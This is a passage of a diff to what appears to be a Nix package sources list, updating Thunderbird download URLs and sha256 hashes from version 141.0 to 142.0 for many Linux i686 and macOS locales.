-      sha256 = "769fa9d8f8747ca579a0636187684573ba23011ea96e97879437f09b4b53b5c2";
+      sha256 = "aac687a9cf3d4aa8aa1e9f031c22ebcef53b61c822cba4ecdd2becd8b879fedc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/en-US/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/en-US/thunderbird-142.0.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "0cf4ab947913d9ad12be79a95d0c59a79d423e57fd280ced3b6c48a9eb7651d0";
+      sha256 = "92527f71f881a8c12476c7096971f10522361947e912491dc1799393c332aa79";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/es-AR/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/es-AR/thunderbird-142.0.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "f43e5e7987070f65e3d5f0078af3561993e8113c3412609ab2f07dfee2a87663";
+      sha256 = "a3e8868f5dbc32cbf6ba9cf0f6d70005e5f78f1d89d4f39c7ae06db08cb8c83c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/es-ES/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/es-ES/thunderbird-142.0.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "d37b0103365429ce88f5b2374112b565a27bcbdc5fd3d0170253415540b15afa";
+      sha256 = "c4bea8514312506138e1bd1de2a58459cc2f6cae0aaea12f2ce1db9ea985ecb9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/es-MX/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/es-MX/thunderbird-142.0.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "cfc7056d0680d00bd557a11d691f161b275cea391831640863def54c42558abb";
+      sha256 = "f784949fbadccece26ad851cadf18179829bb4b70e39811ae344c825e9bf371f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/et/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/et/thunderbird-142.0.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "0decb7ad2ef248825f5a6f5aa963f8e1e0e729e17a8af19fa305b73ce86c4e4c";
+      sha256 = "db76afc86587362e77952f58bd491b02c557c40c62249a52b5cb406ae3d866d3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/eu/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/eu/thunderbird-142.0.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "a89d54b323f28640ff2e5d9e6662e36997c3893a8d253d68faa6a20b9dbbe3d9";
+      sha256 = "19dd04a682218bcfc5e4fc9fe7a110c6a47c424753e13599164f4caf1d22efab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/fi/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/fi/thunderbird-142.0.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "ed600927b528b2cf66221d61d9e85df403636ed777f3e908cce5c379f7ba961b";
+      sha256 = "f46fe95e1b3504396fb174737d4486ff5087f327215ffcd41bb1d8518a9d820c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/fr/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/fr/thunderbird-142.0.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "4b772ba4360fb7121c7cd9919205733f0f1757861ac8ac2885fd8233b12a7f17";
+      sha256 = "c159152ddcff8af3e69e55d2bc86c9ba24760c1d09055b625ed9b4dc2cc00645";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/fy-NL/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/fy-NL/thunderbird-142.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "42fcad05bed4ff5b98a808dea5df8e8b2341ef73cff48df18c6fee7577a331d9";
+      sha256 = "ce0c2ce18c9a762da3f28e4b61d83b913d0a026a0bbe177d41358b7355691422";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ga-IE/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/ga-IE/thunderbird-142.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "dccec52dcfa6c8b7f82a8319d1487e42320b5d8791f87d4128f617165f2583f3";
+      sha256 = "1254f54c845af46fa1030940ecbbc702db897571c13c043e08eb8c0712817018";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/gd/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/gd/thunderbird-142.0.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "dc8245299c8e8824486531fb75fb2a6967a7d0ed5ad182295eee87a00fc840ef";
+      sha256 = "5d1b030bbd0c0c2c0b65e55add37aece953930f53d7777209deef83fac06dbbf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/gl/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/gl/thunderbird-142.0.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "5d39a48dc096b7f10c29ec701199493f2d404e840ed6fac295b3a697048f9cd2";
+      sha256 = "3beb3764e7664760628fff1881d9b85915cc520dd039d624bb6447ac7e6b5f14";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/he/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/he/thunderbird-142.0.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "42038d36f46a6d9eaf270363e7e9c9aa1585944b7c96ef46bfe7f4f8bdd519eb";
+      sha256 = "4b717d6222d0033154ae7a37933e528bc939663af5e1d217f6f8c3f23e8a128a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/hr/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/hr/thunderbird-142.0.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "33534695537b19839df43931238903a8f37cd771167411aadc4aa29919e67cc7";
+      sha256 = "5308e22dfda577604f051a546d52aba14f2c14859af06ca3efda2e5571f6bd5c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/hsb/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/hsb/thunderbird-142.0.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "d77e2ac787cdf5dcecb3c7309bdf00fd30e22c23c0314814c56f2dbf6df14f8f";
+      sha256 = "3c455e64ead028b528287dc10df61e4eab4d92a10e397e535bf0a5836c1fe827";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/hu/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/hu/thunderbird-142.0.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "6c08eb0640e47164d3c7f20ef1b6e29c6a6b2c40ec220f015afdc73da8b40670";
+      sha256 = "965747a8f71123862383d16e3695bd79757ce32559891e377bcced59f0e83873";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/hy-AM/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/hy-AM/thunderbird-142.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "9f78144eef1482fdb8e921087f65de39d9f3c31e185939f5ee084945439d565a";
+      sha256 = "f4d9d785fd8fd5721b3888c80003563d555ce6b28d33ed58c1653f568fcefad2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/id/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/id/thunderbird-142.0.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "0191e770a3c2717f0ea1239ef14b6d8c347f8a66a068f9ef26b3646423bbd036";
+      sha256 = "5d5afd403e361900a7909b3cec56bca207c7388d2e6436eeeadab93acaa2d9d5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/is/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/is/thunderbird-142.0.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "4eddf2d7cdd7d1a851fb2acb231aafc0840d8bc18989a545d0909512285a6df4";
+      sha256 = "98017023f16b6fecc000cf5788d688b76cb6b9e4267d210c8bc6a35010331e63";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/it/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/it/thunderbird-142.0.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "d660d9c7ab79c5012e5aa4cab0d71d1f0bcaf9f82f2ce0c3acabd5fb028ea75c";
+      sha256 = "daa80d09f8f62a902ba59e0df1ca28e8c8f9c70b79025a9ecf9790a06b999a80";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ja/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/ja/thunderbird-142.0.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "4e721ed8e738172868f04f7dea80970b1ad736a347b4eca53ee1313e4229d1f2";
+      sha256 = "42132ba6687e44d9dde5d473c9c58d36e8099a5239fe09559df8b2b07e609e03";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ka/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/ka/thunderbird-142.0.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "ea509083f195f7445ee4000f40f536d13d78b49e137e7505b0a17d7b8a5a4bf0";
+      sha256 = "dbfb575fbbb281c34d5339859a58cc8cbef4dbcdc9bd96682618b69af41d55c2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/kab/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/kab/thunderbird-142.0.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "3b5c98f3ee02c783a225877adccfa48bb1b8bc43f09daea2f9d698ccb6622537";
+      sha256 = "305bcabd26d29c2f8132b86ffe8824bed035211c1363299cf851c80742506863";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/kk/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/kk/thunderbird-142.0.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "65d68cc95e32662777ef78a95877b2ba13e14e2b3825d1759be784e48d1719bc";
+      sha256 = "abed5d8bb7271114277ca909f843bd7a060d471b21fdf01d8e69fd7b91e649d8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ko/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/ko/thunderbird-142.0.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "86d98e73c60846a0ff7bb342221567d6ea13c0fdd0f1a6f9b2409fac2dee48c3";
+      sha256 = "80e1b8081d4e9dce849c5e86753c0bde7dddf76a92c711c1e5fb8e8ac2361042";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/lt/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/lt/thunderbird-142.0.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "83abeb626dc7366cc05589e63a7fd9a66315709bd6774456cc7f07d34c3657ad";
+      sha256 = "b570ce25736f9b10d1159ff4ebb18aae69763f8e0aa30e95716e2ac10628f6cb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/lv/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/lv/thunderbird-142.0.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "2b4d4bd4b407a24dfc077ec78e3355983751d69262f8c4456fb19d1151f76d99";
+      sha256 = "e8dcf7dd10c7caef0fec0708cd2ef61cf35d768ce77bc0f6a2f42efd4a07fabc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ms/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/ms/thunderbird-142.0.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "4696e7b5d6acf46398c68794d27ff2128849b029c6f435e29d617bbc29d83fc4";
+      sha256 = "db9852a4ee0d0240a6f643a33e3e206be8e96635a425f416016b86e40d809123";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/nb-NO/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/nb-NO/thunderbird-142.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "96a1eadce6db4ab879c4a898c2612155b3b149ea2a6a2f44c179700600a59349";
+      sha256 = "e9ceaa86646fceb9e79c5cc5f3405f5260fdb606bb8cca4c5ef58ab08a86d247";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/nl/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/nl/thunderbird-142.0.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "2a191eef47a2ecab3c374b2253a139990af1b4b8cedd60b723e9347be90283fb";
+      sha256 = "b3f74e24f1ac01fa7d9b8bce450bcfc9cdd310ab387060a11700439a8ca04e7b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/nn-NO/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/nn-NO/thunderbird-142.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "46eec712da7acfa9440b71879b830d3af9ec8d57f7388b533b1fc7437e4fdc03";
+      sha256 = "22dad7b627c13dae77b63ff5ef8bc720f462c89d5ddcfa315a777a69d26b98a6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/pa-IN/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/pa-IN/thunderbird-142.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "da50cf2d1d9edfab0d01abf6218457d8c37c13e2742680f4eb2e18332f770750";
+      sha256 = "1874bb06c226f52d3c289a9f8802acfeaf85deb604e4694393f99799d0da34f3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/pl/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/pl/thunderbird-142.0.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "3159f77c31fab656d9ae26326c3616a751352808d634d7e4759ac9a75886c534";
+      sha256 = "feb32308bc571ac0892f20c7969556535e29cd7368d70b95e3bf20bc74b8e2b1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/pt-BR/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/pt-BR/thunderbird-142.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "1e54aa49c4af4fff86c728b5a88c74b063b32480bf26ff92396a21da0a4aebf1";
+      sha256 = "c695a0b030dd26b0b7a97aca0b5e333e30eb7da535b03f54780ee8bbe921ce71";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/pt-PT/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/pt-PT/thunderbird-142.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "592742688c4373d9a8901bc9e92148441b7d50a22477b7091d0c9d1608524c9b";
+      sha256 = "401677bc6d9a7314b82e98e9c4feec55dd46c168830d123ddb78fb1aafd0f2f7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/rm/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/rm/thunderbird-142.0.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "84ff84c3dc5e2d5f57cff956edd030350174c69c1ce143ba96fcf3d62c115860";
+      sha256 = "9952696f3489a8228b7fa7beae9023981b063052d593e1a6168039646fa5dc03";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ro/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/ro/thunderbird-142.0.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "22682657101bb13551bfe7a538612abbaf2177349b3c6623853cd71d6b71acee";
+      sha256 = "20769c3659200e1e220b69596d7993f63fa6ab114fdcbc869eafe389b9386962";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ru/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/ru/thunderbird-142.0.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "66f62f787d416732763b435cc8a7a578ef2dc20e0d6b1fd945b89e919cfabd5b";
+      sha256 = "bc24f26700309c154aff04f2db37ec7afb99926cafe57d08477cedbcb2bace51";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/sk/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/sk/thunderbird-142.0.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "97f2f0e5dbfc80c51c151bbcd4fac3fe9882772fb3898c738cfa3869b8b83b76";
+      sha256 = "44da42feb37606641a054cd91f7256a867c44ba40442e951de375089de152690";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/sl/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/sl/thunderbird-142.0.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "f331d3bd134642870817f2ecf5e20ad8a6c2217fb0ac12ca2b9f450f8ae704b0";
+      sha256 = "56eec1855831ccc6f226e0d33b2c1e38ea1e0d150bb44618c91786e3e3d1aaf2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/sq/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/sq/thunderbird-142.0.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "87f8177a17f950aa266a2a9f4261c14a0b877402d7a765b1059271f2f9b0058d";
+      sha256 = "a3c4303140194bf74268ae21176dfb1543a094dfada13861caf76c6a3afd7fda";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/sr/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/sr/thunderbird-142.0.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "6417cd8d5bc05ad293af59d3e7994d2ae4bd7c74768c253d60fb758531003e3e";
+      sha256 = "456b13e638038c7948640850ed4e54b291274add5253c91a2a52fcd01f77b1f8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/sv-SE/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/sv-SE/thunderbird-142.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "1ce6be7ec939a9f803583d9381cf9bacaf3f90fd5d05c3d4a18c649645c44d57";
+      sha256 = "3c8b0542893c7ca9568730dae65f06246aa9d9266a506d46f306e8e0f00060aa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/th/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/th/thunderbird-142.0.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "1bb66df11e9ddfd184bd8de062c954a23206e54af2c8aca5207e42a0c4c57802";
+      sha256 = "23cd68554836728f91dd3e881a8c866a08db6611a12cf6761675f67b63819602";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/tr/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/tr/thunderbird-142.0.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "8af1af9b252ebd3e38529bff3ce81d574a9d3450f8b9beeb006ebd09472f2d9f";
+      sha256 = "723e401bc7b6992645e97fab14b784726c34fe21509455c3ca06185a65e5218a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/uk/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/uk/thunderbird-142.0.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "cc480e6a931ac0d1350e916e4af84c55b0acbfda861012fb5791fa3a2c27c2ef";
+      sha256 = "46f5f9e07e5012ad8d094d8200812f813868dad188943eeda69eaa5aff0cf939";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/uz/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/uz/thunderbird-142.0.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "b98fabc8ad222e67a82c376188ac4858ca106a61b74488fe77bcfc6db57236cd";
+      sha256 = "058c1326b839120303b5a08b2b5069c5a29c68f4fcf2ce796423b2edc480e59b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/vi/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/vi/thunderbird-142.0.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "6723b961380329c040a188c26422137e510b5906c0c804cc86e281c4c8b60554";
+      sha256 = "814efffe40fe4b2697d556df4bdf91d818935f440dd35ee0e7b19d79d586c6eb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/zh-CN/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/zh-CN/thunderbird-142.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "0d71d5b2dba7aa7436073795d7f25a45891c101c2df45b7f97e5aac9f4e02b8e";
+      sha256 = "067852744b73ce7034cf1c9287cb461d015c500f88d8eecd5ccd0161b70e4381";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/zh-TW/thunderbird-141.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/linux-i686/zh-TW/thunderbird-142.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "c6885b8aac0f87a5a6ac903b829e1b424601688965cc2422d9406e0a134d9ca4";
+      sha256 = "572638402540335ff9dc125dcb10500408b481a419af1a5502df743ba42b1575";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/af/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/af/Thunderbird%20142.0.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "70fb633f85a25f8bd97c304db7607c4481964d7f4d33f07c940fa1eb39964f66";
+      sha256 = "eae9d549690df6c36fe13f86762cd5d83ad086f5a7def603ac8df0a16c707b81";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ar/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/ar/Thunderbird%20142.0.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "fb8b2675c7da8c457598541bd132c34ccffdc904553dedd953c06f1e3fcfa7e7";
+      sha256 = "0cbf5635f1deb29dab597f9f676ee6a0450e5bc1e4d418b94f09ba00ef67443d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ast/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/ast/Thunderbird%20142.0.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "f5a6a6323661c36798dbbc22d4e13af7ed54b677cbc0f0b03325fa2ad058c2c1";
+      sha256 = "b4c899ed54910635acd93caa5925e64c1960b0536d0900a63a0594e2f4a3f2e9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/be/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/be/Thunderbird%20142.0.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "0258d6d0d9b10101761affa225973fa3e2dde241dd39b47774ca96694e00d5c1";
+      sha256 = "b867c2db5be25236d3fb349204b596828642f27629addd3477e98444e1fb79d4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/bg/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/bg/Thunderbird%20142.0.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "9e599b125c76e1c9b706e880ed6ce93a41a39797368d024e9369b0dcdddda63f";
+      sha256 = "9806157b89e04c66aa87c3368572ada3fa7a1a30de7abec9c856f11453ca1f56";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/br/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/br/Thunderbird%20142.0.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "7830f4eca448512a6d56fe45c867003226bdad42afacf49cfd27f0cba6f64d71";
+      sha256 = "b8a0d7b7e163efa64b509efcc90145581ea043f910fa3fa41b20742a9a85eaa5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/ca/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/ca/Thunderbird%20142.0.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "0a5beafee9e791ec86f4bb5e03ad9aa1e2919d9aeb3a05e372bb9840fd0724d4";
+      sha256 = "a2ec20086fd218896f925f408e03dba76dafe99dc82ac179155601213e68f245";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/cak/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/cak/Thunderbird%20142.0.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "c11916bb8a09bf6784c2bd65c7640c519e049c9895af9be04c5b82503c9c411b";
+      sha256 = "7e74aad02bb9ccf72503298739d2d36a8a63666a18e20d0c5a606e11e9f45b20";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/cs/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/cs/Thunderbird%20142.0.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "c7eb485d8927e8a343ddf52035df39c39c8ec5c6e02a1af783a0fb692908810b";
+      sha256 = "64c77a3e37030482350351b360c9036a10bae801917060627c0d6dfa58638679";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/mac/cy/Thunderbird%20141.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/142.0/mac/cy/Thunderbird%20142.0.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "4865ad34e0dda392f624818807b958c5dd2da975f93494e5759cdc4f1f425179";
+      sha256 = "dce600ced1fc79408f749ccfd53c7a003af7eef11a017739e3689fc08ebe18dd";
     }
     {
